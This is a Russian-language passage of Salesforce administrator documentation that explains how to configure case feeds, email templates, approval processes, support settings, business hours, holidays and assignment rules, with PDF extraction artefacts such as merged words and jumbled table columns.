Для настройки обращений
в Lightning Experience:
• «Управление

обращениями»

И

«Настройка
приложения»

ПреждечемиспользоватьлентуобращенийвLightning Experience, рекомендуемвоссоздать
публикатор «Изменить статус» как быстрое действие.

1. Откройтестраницу «Кнопки, ссылкиидействия» посредствомпараметровуправления
обращениями.

2. Нажмите кнопку «Создать действие».

3. Выберите значение «Обновить запись» в раскрывающемся списке «Тип действия».

4. Выберите значение «Изменить статус» враскрывающемсясписке «Тип стандартной
метки».

5. Нажмите кнопку «Сохранить».

6. Чтобы выбрать поля, отображаемые пользователям, настройте макет действия и
нажмите кнопку «Сохранить».

7. Перетащите новое быстрое действие в раздел «Действия Salesforce1 и Lightning
Experience» и нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка обращений в Lightning Experience

Создание объектных быстрых действий
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Включение стандартных шаблонов эл. почты в ленте обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения стандартных
шаблонов эл. почты:
• «Настройка

приложения»

Чтобы предоставить агентам службы поддержки удобный доступ к нужнымшаблонам,
воспользуйтесь стандартнымишаблонами эл. почты в ленте обращений.

Преждечемвключитьстандартныешаблоныэл. почты, рекомендуемсоздать текстовый
шаблон, HTML-шаблон илишаблон Visualforce и класс Apex, содержащий логику выбора
шаблона.

Стандартныешаблоныэл. почтыпозволяютагентамслужбыподдержкиускоритьпроцесс
обработки клиентских запросов, а также обеспечить точность и единообразие
отправляемых ответов. Шаблоны эл. почты загружаются предварительно и доступны
при создании сообщенийэл. почты. Принеобходимостипользователимогут создавать
любое количествошаблонов и назначать их в соответствии с текущими требованиями
компании. Допустим, центр поддержкиобрабатывает обращения, связанные с разными
продуктами. В этом случае пользователь может создать отдельныйшаблон для каждого
продукта и выполнить предварительную загрузку созданныхшаблонов в соответствии
с темой обращения, его происхождением или другим критерием.

Чтобывключить стандартныешаблоныэл. почты, выполните указанныенижедействия.

1. Введитестроку «Параметры поддержки» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Параметры поддержки».

2. Нажмите кнопку «Правка».

3. Установите флажок «Включить стандартные шаблоны эл. почты».

4. Выберите класс Apex, содержащий логику выбора шаблона.

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Создание действий отправки для процессов электронного утверждения

Создание процессов утверждения для электронных черновиков

Проверка и утверждение электронных черновиков
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Создание действий отправки для процессов электронного утверждения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания действий
отправки:
• «Настройка

приложения»

Действия отправки позволяют экономить рабочее время агентов службы поддержки
посредством автоматической отправки сообщений эл. почты в конце процесса
утверждения.

Прим.: Действия отправки доступны только в том случае, если в организации
включена поддержка электронных черновиков.

1. Введите строку «Действия отправки» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Действия отправки».

2. Нажмите кнопку «Создать действие отправки».

3. Выберите значение «Сообщение эл. почты» из раскрывающегося списка объектов.

4. Введите уникальное имя для действия.

5. При необходимости введите описание действия.

6. Нажмите кнопку «Сохранить».

После создания действия отправки рекомендуем создать соответствующий процесс
утверждения.

СМ. ТАКЖЕ:

Включение стандартныхшаблонов эл. почты в ленте обращений

Создание процесса утверждения

Создание процессов утверждения для электронных черновиков

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания процессов
утверждения:
• «Настройка

приложения»

Процессыутвержденияопределяютспособобработкичерновиковсообщенийэл. почты
в организации (например, определение сообщений, требующих утверждения, и
возможности автоматического назначения ответственных за утверждение). Создайте
настраиваемыепроцессыутвержденияв соответствиис текущимибизнес-требованиями.

1. Включите поддержку электронных черновиков.

Процессыутверждениядлясообщенийэл. почты, созданныебезвыполненияданного
действия, будут инициированы только после включения поддержки электронных
черновиков в организации.

2. Создайте действие отправки.

Данные действия обеспечивают отправку сообщений эл. почты по мере их
утверждения.

3. Создайте процессы утверждения.

Выберите значение «Сообщение эл. почты» враскрывающемся списке «Управление
процессами утверждения для:» .

4. Чтобыпредоставитьнекоторымпользователям (например, старшимагентамслужбы
поддержки) возможностьвыборамеждуобычнойотправкойиотправкойсообщения
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эл. почты на утверждение, назначьте этим пользователям профиль с полномочием «Игнорировать электронное
утверждение».

СМ. ТАКЖЕ:

Создание процесса утверждения

Включение стандартныхшаблонов эл. почты в ленте обращений

Переименование действий и фильтров ленты в ленте обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для переименования
действийифильтров ленты:
• «Настройка

приложения»

ИЛИ

«Просмотр настройки и
конфигурации»

И

Назначение
переводчиком

Лентаобращенийпозволяетпереименовыватьдействияифильтрылентывсоответствии
с терминологией компании.

Например, компания, портал которой называется клиентским сообществом, может
переименовать действие «Портал» как «Клиентское сообщество».

1. Введите строку «Переименовать вкладки и метки» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Переименовать вкладки и метки».

2. Щелкните ссылку «Правка»напротив термина «Обращения» в списке стандартных
вкладок.

3. Нажмите кнопку «Далее».

4. Найдите нужную метку в списке «Другие метки».

5. Введите новое имя метки в текстовое поле напротив.

6. Если новая метка начинается с гласного звука, установите флажок «Начинается с
гласного звука».

7. Нажмите кнопку «Сохранить».
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Автоматизация контактных центров

Настройка службы поддержки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступные параметры
поддержки определяются
используемой версией
Salesforce.

Еслиорганизацияиспользует обращенияирешения, рекомендуемнастроитьфункции
автоматизированнойподдержкидляповышенияэффективностипроцессовподдержки.

Откройте меню «Настройка».

• Введите «Часы работы» в поле «Быстрый поиск», затем выберите «Часыработы»,
чтобы установить часы поддержки вашей организации.

• Введите «Правила назначения» в поле «Быстрый поиск», затем выберите «Правила
назначения обращений», чтобы создать пользовательские правила для
автоматического перенаправления обращений.

• Введите «Правила расширения» в поле «Быстрый поиск», затем выберите «Правила
расширения», чтобы создать правила автоматического расширения обращений.

• Введите «Параметры поддержки» вполе «Быстрый поиск», затемвыберите«Параметрыподдержки», чтобыизменить
шаблоны сообщений эл. почты и умолчания для автоматизированныхфункций поддержки.

• Введите «Правила автоматического ответа» в поле «Быстрый поиск», затем выберите «Правила автоматического
ответанаобращения», чтобынастроитьправилаотправкисообщенийэлектроннойпочтыклиентамприполучении
обращений из одного из следующих источников.

– ФормаWeb-to-Case

– Сообщение Email-to-Case

– Сообщение On-Demand Email-to-Case

– Клиентский портал

– Портал самообслуживания

• Введите «Email-to-Case» вполе «Быстрый поиск», затемвыберитефункцию «Email-to-Case», чтобыустановить
возможность захвата сообщенийэлектроннойпочтыклиентовв видеобращений. Даннаяфункцияопределяет способ
автоматического заполнения полей обращений содержимым всех сообщений эл. почты клиентов.

Чтобыоткрытьфункцииподдержкирешений, в разделе «Настройка» введите «Решение» вполе «Быстрый поиск», затем:

• Чтобы настроить категории для классификации созданных решений, выберите ссылку «Категории решений».

• Чтобы настроить параметры решений, выберите ссылку «Параметры решений».

Чтобыоткрытьдополнительныефункцииподдержки, вразделе «Настройка» введите «Самообслуживание» вполе «Быстрый
поиск», затем:

• Чтобы разрешить клиентам поиск по общедоступным решениям, выберите ссылку «Общедоступные решения».

• Чтобы настроить функцию сбора веб-обращений, выберите ссылку «Web-to-Case».

• Выберите «Параметры» на портале «Самообслуживание», чтобы настроить веб-портал вашей организации так,
чтобы клиенты могли регистрировать обращения и выполнять поиск решений.

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для новых организаций. Текущие
организации могут использовать портал самообслуживания в обычном режиме.

Чтобы ознакомиться с функциями поддержки, связанными с Порталом для клиентов Salesforce, разделе «Настройка»
введите «Портал для клиентов» в поле «Быстрый поиск», затем:
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• Выберите элемент «Параметрыпорталадляклиентов», чтобынастроитьПорталдляклиентоввашейорганизации,
чтобы клиенты могли самостоятельно регистрировать обращения, выполнять поиск решений и получать доступ к
любым настраиваемым объектам, созданным специально для них.

Чтобы ознакомиться с функциями поддержки, связанными с Salesforce CRM Call Center, в разделе «Настройка» введите
«Call Center» в поле «Быстрый поиск», затем:

• Чтобы настроить новые центры обработки вызовов и управлять назначенными пользователями, выберите ссылку
«Call Centers».

• Чтобынастроитьдополнительныеномерателефонов, доступныхдляпоискавкаталогепользователяцентраобработки
вызовов, выберите ссылку «Номера каталогов».

• Чтобынастроитьмакетыдляотображениясведенийовызовевпрограммномтелефонепользователяцентраобработки
вызовов, выберите ссылку «Макеты программного телефона».

Чтобысоздатьочередиподдержкидляобращенийилинастраиваемыхобъектов, вразделе «Настройка» введите «Очереди»
в поле «Быстрый поиск», затем выберите «Очереди».

Функции поддержки позволяют уведомлять клиентов о создании обращений вручную или через Интернет и принятии
решенийпообращениям. Крометого, пользователимогутполучатьавтоматическиеуведомленияорасширении, создании
или переназначении обращений. Чтобы использовать электронные уведомления, рекомендуем создать шаблоны эл.
почты для каждого типа уведомления.

СМ. ТАКЖЕ:

Полезные советы для администраторов: настройка службы поддержки

Полезные советы для администраторов: эффективное использование портала самообслуживания

Руководство по административной настройке: руководство по внедрению портала самообслуживания

Руководство по административной настройке: руководство по внедрениюфункции управления обращениями
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Настройка параметров поддержки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
поддержки:
• «Управление

обращениями»

И

«Настройка
приложения»

Системапозволяет включитьилинастроитьразличныевспомогательныепроцессыдля
автоматизации обработки обращений. Можно выбрать шаблоны сообщений
электроннойпочты, владельцаобращенияпо умолчанию, уведомленияпообращению
и многое другое.

Чтобы работать с этими параметрами, в меню «Настройка» введите строку «Параметры
поддержки» вполе «Быстрый поиск», выберитепункт «Параметрыподдержки», затем
нажмите кнопку «Правка».

ОписаниеПоле

Пользовательилиочередь, автоматически
назначаемая всем обращениям, которые
не соответствуют текущим записям
правила назначения обращений. Данный
пользователь должен быть помечен
флажком «Активно».

Ответственный за обращение по
умолчанию

Чтобы уведомить ответственного по
умолчанию о назначении нового
обращения, установите данныйфлажок.
Если обращение назначается очереди, то
уведомление отправляется на адрес эл.
почты очереди. Уведомления
генерируются системой и не могут быть
изменены.

Уведомить ответственного за обращение
по умолчанию

Данный параметр определяет тип записи,
который должен быть назначен

Параметр типа записи

обращениям, созданным пользователями
посредствомправилназначения. Выберите
одно из двух значений.

• Чтобыразрешитьновымобращениям
сохранение типа записи автора,
установите флажок «Сохранить
текущий тип записи».

• Чтобыперезаписать типзаписиавтора
для новых обращений, установите
флажок «Переопределить текущий
тип записи типом записи
назначенного по умолчанию».

Пользователь, указанный в связанном
списке «Журнал обращения» для

Автоматический пользователь для
обращений

автоматических изменений обращения.
Данные изменения могут быть
инициированы правилами назначения,
правилами расширения, функцией
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ОписаниеПоле

On-Demand Email-to-Case или обращениями,
регистрируемыминапортале самообслуживания. Данному
пользователюдолженбытьназначенпрофиль «Системный
администратор» или предоставлены полномочия
«Изменение всех данных» и «Отправка эл. почты».

Шаблон, используемый для уведомления контактов о
созданииобращениявручнуюагентомслужбыподдержки.

Шаблон создания обращения

Уведомление отправляется только при наличии
соответствующего флажка на странице редактирования
обращения. Данныйшаблон должен быть помечен
флажком «Доступно для использования».

Шаблон, используемый для уведомления пользователей о
назначении обращения вручную администратором или

Шаблон назначения обращения

другим пользователем. Уведомление отправляется только
при наличии соответствующего флажка на странице
измененияответственного за обращение. Данныйшаблон
должен быть помечен флажком «Доступно для
использования».

Шаблон, используемый для уведомления контактов о
закрытии обращения. Уведомление отправляется только

Шаблон закрытия обращения

при наличии соответствующего флажка на странице
закрытия обращения. Данныйшаблон должен быть
помечен флажком «Доступно для использования».

Флажок «Отображается на портале самообслуживания»
автоматическиустанавливаетсядля всехновыхобращений,

Новые обращения, доступные на портале

включая обращения, созданные посредством функций
Web-to-Case, Email-to-Case и On-Demand Email-to-Case.

Независимо от значения по умолчанию, пользователи,
создающиеобращения, могут вручнуюустановитьфлажок
«Отображается на портале самообслуживания».

При использовании продукта «Сообщества Salesforce»
данный параметр не применяется к
пользователям-партнерам и пользователям-клиентам,
просматривающимобращениявсообществах. Доступность
новыхобращенийвсообществахопределяетсяправилами
общего доступа.

Чтобы уведомить контакты, которые не являются
пользователямипортала самообслуживания, одобавлении

Включить уведомление контактов о добавлении
комментария к обращению

или изменении комментария к обращению, установите
данныйфлажок. Если данныйфлажок установлен,
щелкните «Шаблон комментария к обращению» и
выберите шаблон эл. почты для данных уведомлений.
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ОписаниеПоле

Данныйшаблондолженбытьпомеченфлажком «Доступно
для использования».

Чтобы уведомить ответственного за обращение о
добавлении личного или общедоступного комментария,

Уведомить ответственного за обращение о новом
комментарии

установите данныйфлажок. Если данныйфлажок
установлен, то ответственные за обращения не могут
отказаться от получения данных уведомлений.
(Уведомления отправляются только активным
ответственным за обращения.)

Чтобывключитьранниетриггерыдляправилрасширения
и их действий, установите данныйфлажок.

При необходимости настройте правило расширения,
котороевыполняетдействие, еслирешениепообращению

Ранние триггеры включены

не может быть найдено по истечении заданного времени.
Параметр «Длительность» определяет количество часов,
по истечении которых система Salesforce выполняет
действие расширения. Чтобы выполнить действия
расширениядоистечениявремени, заданногопараметром
«Длительность», включите ранние триггеры.

Чтобы включить кнопку «Предложенные решения» на
страницах сведений об обращениях и разрешить агентам

Включить предложенные решения

предлагатьвозможныерешенияпообращениям, установите
данныйфлажок.

Чтобыдобавитьпредложенныестатьи в связанныйсписок
«Статьи», установитеданныйфлажок. Предложенныестатьи

Включить предложенные статьи

могут быть доступны во всех каналах Salesforce Knowledge,
кроме общедоступной базы знаний.

Чтобы отправлять ответственным за обращения
уведомления о новых комментариях, вложениях или

Отправлять уведомления по обращениям с системного
адреса

назначениях с системного адреса вместо адреса
пользователя, обновившегообращение, установитеданный
флажок.

Системные уведомления отображают адрес эл. почты
отправителя (noreply@salesforce.com) и имя, связанное с
сообщением (например, «Уведомление о добавлении
комментария к обращению»).

Данныйфлажок позволяет блокировать автоматические
сообщения эл. почты об отсутствии ответственных на
рабочем месте, отправляемые пользователям портала
самообслуживанияиликлиентскогопортала, обновляющим
обращения.
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ОписаниеПоле

Чтобы автоматически устанавливать флажок «Отправить
электронное уведомление» припереносеответственности

Уведомить ответственных за обращение об изменении
ответственности

за обращение другому пользователю, установите данный
флажок. Данныйфлажок гарантирует уведомление
пользователей о назначении им ответственности за
обращение.

Установкаданногофлажка неинициирует автоматическую
установкуфлажка «Отправить электронное уведомление»
при переносе ответственности за обращение очереди.

Чтобы добавить закрытые статусы в поле обращения
«Статус», позволяющиеагентамзакрыватьобращениябез

Показывать закрытые статусы в поле «Статус
обращения»

нажатия кнопки «Закрыть обращение» и обновления
сведений в макетах страниц закрытия обращения,
установите данныйфлажок.

Установкафлажка «Показывать закрытые статусы в поле
"Статус обращения"» не инициирует удаление кнопки
«Закрыть» из списковых представлений обращений.
Взамен, данное действие добавляет статус «Закрыто» в
список доступных статусов при выборе нескольких
обращений и нажатии кнопки «Изменить статус» в
списковых представлениях обращений.

Чтобы скрыть кнопку «Сохранить и закрыть» на
страницах редактирования обращений и ссылки «Закр.»

Скрыть кнопку «Сохранить и закрыть» и ссылки
«Закр.»

в связанных списках «Обращения», установите данный
флажок после установки описанного выше флажка
«Показывать закрытые статусы в поле "Статус
обращения"». Взамен, обращения могут закрываться
посредством поля «Статус» и кнопки «Сохранить».

Этот параметр позволяет включить действия и элементы
для ленты обращений. При выборе этого параметра

Включение действий и элементов ленты обращений

существующие обращения представляются в интерфейсе
с лентой обращений.

Чтобы определить размер элементов ленты эл. почты,
выберите ограничение по количеству символов для текста
элементов ленты эл. почты. Возможные значения:

Размер текста элементов ленты эл. почты

• «Маленький» = 400 символов (по умолчанию)

• «Средний» = 1 200 символов

• «Большой» = 5 000 символов

• «Настраиваемый» = от 400 до 5 000 символов

2930

Настройка параметров поддержкиНастройка и обслуживание инструментов службы поддержки



ОписаниеПоле

Еслитекст элементовлентыэл. почтыпревышает заданное
ограничение, щелкните «Больше» для просмотра
остального текста.

Чтобы сэкономить пространство ленты обращений путем
удаления пустых строк в тексте элементов ленты эл. почты,
установите данныйфлажок.

Пустые строки в тексте элементов ленты эл. почты

Чтобы просматривать только последние сообщения эл.
почты в тексте элементов ленты эл. почты, установите

Свернуть предыдущие сообщения эл. почты в тексте
элементов ленты эл. почты

данныйфлажок. Чтобы просмотреть предыдущие
сообщения эл. почты, щелкните «Больше».

Чтобы задать класс Apex, загружающий стандартный
шаблон эл. почты в ленте обращений, установите данный

Включить стандартные шаблоны эл. почты или
стандартное средство обработки для действия эл. почты

флажок. При необходимости установите данныйфлажок
для определения стандартных значений полей эл. почты,
которые могут автоматически заполняться лентой
обращений в сообщениях эл. почты.

Этот параметр позволяет использовать электронные
черновики.

Включение поддержки электронных черновиков

Этотпараметрпозволяетмодераторамсоздаватьобращения
на основании вопросов Chatter в организации.

Включение функции создания обращения из вопроса
в Salesforce

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для новых организаций. Текущие
организации могут использовать портал самообслуживания в обычном режиме.

СМ. ТАКЖЕ:

Настройка службы поддержки
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Настройка часов работы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Чтобы настроить часы
работы, выполните
указанные ниже действия.
• «Управление часами

работы и праздниками»

Система позволяет определять часы работы службы поддержки. Данный алгоритм
позволяетповыситьэффективностьиспользованияпроцессовотдела (например, правила
расширения и контрольные точки).

Ниже перечислены компоненты, поддерживающие применение конкретных часовых
поясов и регионов.

• Контрольные точки в процессах права

• Процессы права

• Обращения

• Правила расширения обращений

Поле «Часы работы», добавленноена страницу «Обращение: макет», позволяет агентам
службы поддержки настраивать время работы службы поддержки над обращением. По
умолчанию служба поддержки работает круглосуточно и использует стандартный
часовой пояс, выбранный в профиле организации.

Кроме того, при наличии полномочия «Настройка приложения» пользователи могут
добавлятьчасыработывправиларасширения, выполняющиеавтоматическоеобновление
и расширение обращений, соответствующих заданным критериямправила. Например,
обращение, обновленное по часам работы «Москва», расширяется только во время
работы московской службы поддержки.

Чтобы настроить часы работы, выполните указанные ниже действия.

1. Введите строку «Часы работы» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Часы работы».

2. Нажмите кнопку «Создать часы работы».

3. Введите имя для часов работы.

Рекомендуемиспользоватьимя, определяющеерегиониличасовойпоясприпросмотречасовработыпообращению,
процессу права или контрольной точке. Например, чтобы задать имя часов работы для центра поддержки,
расположенного в Москве, введите значение «Часы работы по Москве».

4. Чтобы разрешить пользователям связывание часов работы с обращениями, правилами расширения, контрольными
точками и процессами права, установите флажок «Активно».

5. Чтобы автоматически назначать часы работы всем новым обращениям, установите флажок «Использовать часы
работы по умолчанию».

Еслиобращениясоответствуюткритериямправиларасширения, котороепереопределяетчасыработы, тостандартные
часы работы для обращений могут быть заменены часами работы для правил расширения.

6. Выберите нужный часовой пояс в связанном списке «Часовой пояс».

7. Укажите часы работы для каждого дня недели.

• При круглосуточном режиме работы службы поддержки установите флажок «24 часа».

• Выберите время начала и окончания часов работы. При отсутствии нужного временищелкните поле и введите
собственное значение.

• Чтобы обозначить недоступность службы поддержки в течение всего дня, пропустите время начала и окончания
часов работы и снимите флажок «24 часа».

8. Нажмите кнопку «Сохранить».
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При необходимости свяжите заданные часы работы с компонентами ниже.

• Правила расширения, выполняющие автоматическое обновление и расширение обращений, соответствующих
заданным критериям правила.

• Праздники, навремякоторыхотменяютсячасыработыиприостанавливаютсялюбыесвязанныеправиларасширения.

• Контрольные точки в процессах права, поддерживающие изменение часов работы в зависимости от важности
обращения.

• Процессы права, поддерживающие применение одного процесса права к обращениям с разными часами работы.

СМ. ТАКЖЕ:

Рекомендации по настройке часов работы

Настройка праздников для службы поддержки

Настройка службы поддержки

Рекомендации по настройке часов работы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Чтобыповыситьэффективностьиспользуемыхпроцессовподдержки, определитевремя
работы службыподдержки. Нижеперечисленынекоторые рекомендациипонастройке
часов работы.

• Добавьте поле поиска «Часы работы» в макеты обращений после определения
часов работы и настройте параметры безопасности поля «Часы работы». Данное
действие позволяет пользователям просматривать и обновлять часы работы по
обращению.

• Обращению автоматически назначаются стандартные часы работы организации,
кромеслучаевсоответствияобращениякритериямправиларасширения, связанного
с разными часами работы.

• Система Salesforce автоматически вычисляет летнее время для часовых поясов,
поддерживающих часы работы.

• Рабочее времяпообращениюсостоитизчасов, минутисекунд. Темнеменее, прирабочемднеменее 24 часов система
пропускает секунды для последней минуты рабочего дня. Допустим, рабочий день пользователя завершается в 17:00,
при этом текущее время — 16:30. Пользователю назначается контрольная точка, которая должна быть завершена в
течение 30 минут, то есть, до 17:00. Соответственно, система прекращает считать секунды после 17:00. При подсчете
секунд до 17:00:59 срок завершения 30-минутной контрольной точки приходился бы на нерабочее время (после
17:00:00) и продлевался бы на следующий день.

• Правила расширения выполняются только в течение связанных часов работы.

• Обращения, связанные с деактивированнымичасами работы, могут быть обновлены без повторной активации часов
работы.

• Поле «Часы работы» не может быть добавлено в списковые представления или отчеты.

• Система позволяет создавать разные часы работы для служб поддержки, работающих в одном часовом поясе, но в
разное время.

• Рекомендуем создать один набор часов работы для каждого центра поддержки.

• Часыработы, добавленныевправиларасширения, немогутбыть деактивированы. Рекомендуемсначала удалитьчасы
работы из правил расширения.

• Каждый набор часов работы может быть связан с 1 000 праздников.
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• Для обращений, включающих права, рабочие часы применяются согласно иерархии. Подробности см. в разделе
Рабочие часы в управлении правами.

СМ. ТАКЖЕ:

Настройка часов работы

Настройка праздников для службы поддержки

Настройка праздников для службы поддержки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки праздников:
• «Управление часами

работы и праздниками»

Праздники позволяют определять даты и время, в течение которого служба поддержки
недоступна. Чтобы отменить часы работы и приостановить правила расширения на
время праздника, рекомендуем связать созданный праздник с часами работы.

Например, создайте праздник по имени «Новый год», начинающийся в 20:00 31 декабря
и заканчивающийся в 9:00 2 января. На время данного праздника применение правил
расширения и контрольных точек будет приостановлено.

1. В меню «Настройка» введите Holidays в поле Quick Find, затем выберите
Holidays.

2. Нажмите кнопку «Создать»илищелкните ссылку «Клонировать»напротивимени
нужного прошедшего праздника.

Только прошедшие праздники доступны для клонирования.

3. Введите имя праздника.

4. Введите дату праздника.

Чтобы создать многодневный праздник, выполните указанные ниже действия.

a. Установите флажок «Повторяющийся праздник».

b. Введите первый день праздника в поле «Дата начала».

c. Снимите флажок «Дата окончания отсутствует» в поле «Дата окончания».

d. Введите последний день праздника в поле «Дата окончания».

5. При необходимости выполните указанные ниже действия.

• Чтобы задать точное время праздника, снимите флажок «Весь день» напротив поля «Время» и введите точное
время.

• Чтобы запланировать повтор праздника на определенные даты и время, установите флажок «Повторяющийся
праздник».

– Выберитечастотуповторенияпраздникавполе «Частота». Чтобыуточнитькритериичастоты, воспользуйтесь
полем «Ежедневно», «Еженедельно» или «Ежемесячно», поддерживающим дополнительные параметры.

– Чтобызадатьпродолжительностьповторяющегосяпраздника, выберитенужныедатывполях «Дата начала»
и «Дата окончания».

Если выбранные даты начала и окончания не соответствуют выбранной частоте, то отображается следующее
сообщение об ошибке: «Повторяющийся праздник не содержит экземпляра».

6. Нажмите кнопку «Сохранить».
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7. Нажмите кнопку «Добавить/удалить» в связанном списке «Часы работы».

8. Чтобы выбрать часы работы, которые должны быть связаны с праздником, воспользуйтесь кнопками «Добавить» и
«Удалить». Праздник может быть связан с несколькими часами работы.

СМ. ТАКЖЕ:

Рекомендации по созданию праздников для службы поддержки

Настройка часов работы

Настройка службы поддержки

Рекомендации по созданию праздников для службы поддержки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Праздники позволяют определять даты и время, в течение которого служба поддержки
недоступна. Нижеперечисленынекоторыерекомендациипонастройкеииспользованию
праздников.

• Каждый набор часов работы может быть связан с 1 000 праздников.

• Праздникам автоматически назначается часовой пояс связанных часов работы.
Например, праздник, который связывается с часами работы, заданными по
стандартному тихоокеанскому времени, применяется к данным часам работы по
стандартному тихоокеанскому времени.

• Праздники могут быть дополнены только часами работы, помеченнымифлажком
«Активно».

• Именапраздниковмогутповторяться. Например, системапозволяетсоздатьнесколько
праздников по имени «Новый год».

• В настоящее время результаты отчетов не содержат праздники.

• Праздник, повтор которого запланирован на определенный день каждого месяца, повторяется только в те месяцы,
которые содержат этот день. Например, праздник, повтор которого запланирован на 31 число каждого месяца,
повторяется только в те месяцы, которые содержат 31 день. Чтобы повторять праздник в последний день каждого
месяца, выберите значение «Последний» в раскрывающемся списке «числа каждого месяца».

СМ. ТАКЖЕ:

Настройка праздников для службы поддержки

Настройка часов работы

2935

Настройка праздников для службы поддержкиНастройка и обслуживание инструментов службы поддержки



Настройка правил назначения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Правила назначения
интересов доступны в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Правила назначения
обращений доступны в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания правил
назначения:
• «Настройка

приложения»

Правила назначения определяют порядок обработки интересов и обращений.

1. Введитестроку «Правила назначения» вполе «Быстрый поиск», затемвыберитепункт
«Правила назначения интересов» или «Правила назначения обращений».

2. Нажмите кнопку «Создать» и введите имя правила. Чтобы активировать данное
правилодляинтересовилиобращений, созданныхвручную, посредствомсообщений
эл. почты или Интернета, установите флажок «Активно». Затем нажмите кнопку
«Сохранить».

3. Чтобы создать записи правила, нажмите кнопку «Создать». Ниже перечислены
доступные поля для всех записей.

ОписаниеПоле

Данное поле определяет порядок обработки записи в правиле
(например, «1», «2», «3»).

Система Salesforce оценивает каждую запись и проверяет на
соответствие заданным критериям. При обнаружении соответствия
системаSalesforceобрабатываетэлементипрекращаетоценкузаписей
правиладляэтогоэлемента. Еслисоответствиененайдено, тоэлемент
переназначается стандартному ответственному Web-to-Lead,
администратору, выполняющему импорт интересов, или
стандартному ответственному за обращение.

Заказ

Данное поле определяет условия, которым должен соответствовать
интерес или обращение для его назначения.

Введите критерии правила.

Критерии

• Выберите параметр «критерии выполняются», а затем укажите
критерийфильтрации, которомудолжна соответствовать запись
для выполнения правила.Например, настройте фильтр
обращений «"Приоритет" равно "Высокий"», чтобы записи
обращений, содержащие значение «Высокий» в поле
«Приоритет», запускали правило.

Есливорганизациивключенамногоязычнаяподдержка, введите
значения фильтра на языке, используемом в организации по
умолчанию. Разрешается добавить не более 25 критериев
фильтрации (каждый длиною не более 255 символов).

При использовании раскрывающихся списков для определения
критериев фильтрации выбранные значения хранятся на
стандартном языке организации. При редактировании или
клонировании текущих критериев фильтрации рекомендуем
сначалазадатьполю «Стандартный язык» настранице «Сведения
окомпании» язык, использовавшийсядляопределенияисходных
критериев фильтрации. В противном случае критерии
фильтрации могут не быть оценены как ожидалось.
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ОписаниеПоле

• Выберите параметр «значение формулы оценивается как истинное» и введите формулу,
возвращающую значение «Истина» или «Ложь». Если формула возвращает значение
«Истина», то система Salesforce инициирует выполнение правила.Например, формула
AND(ISCHANGED( Приоритет ), ISPICKVAL (Приоритет, "Высокий") ) применяет
правило, изменяющее ответственного за обращение, когда значение поля «Приоритет»
меняется на «Высокий».

За удалением настраиваемого поля, используемого условием, следует автоматическое удаление
записи правила.

Данноеполеопределяетпользователяилиочередь, которойдолженбытьназначенинтересили
обращениепривыполнениизаданныхусловий. Выбранныйпользовательдолженбытьактивным
и иметь полномочие «Чтение» для интересов или обращений.

Пользователь

Прим.: Пользователи, назначенныеправилу, немогутбытьлишеныполномочия «Чтение»
для интересов или обращений.

Если организация использует подразделения, то интересы назначаются стандартному
подразделению пользователя или очереди, указанной в данном поле. Обращения наследуют
подразделениесвязанногоконтактаилиназначаютсястандартномуглобальномуподразделению.

Данноеполеотменяетнеобходимостьпереназначениятекущегоответственногоприобновлении
интереса или обращения.

Не переназначать
ответственного

Данное поле определяет шаблон, который должен использоваться для сообщения эл. почты,
отправляемогоавтоматическиновомуответственному. Впротивномслучае сообщениеэл. почты

Шаблон эл.
почты

не отправляется. Уведомление о назначенииинтереса или обращения очереди отправляется на
адрес очереди и всех ее участников, указанный в поле «Адрес эл. почты очереди».

Данное поле содержит предопределенные рабочие группы, которые должны быть добавлены
в обращение, соответствующее заданным критериям. Группа, работающая с обращением,

Предопределенные
группы,

помогает группамсотрудников, совместноработающихнадотдельнымобращением, например
агентам службы поддержки, менеджерам службы поддержки и менеджерам по продукции.

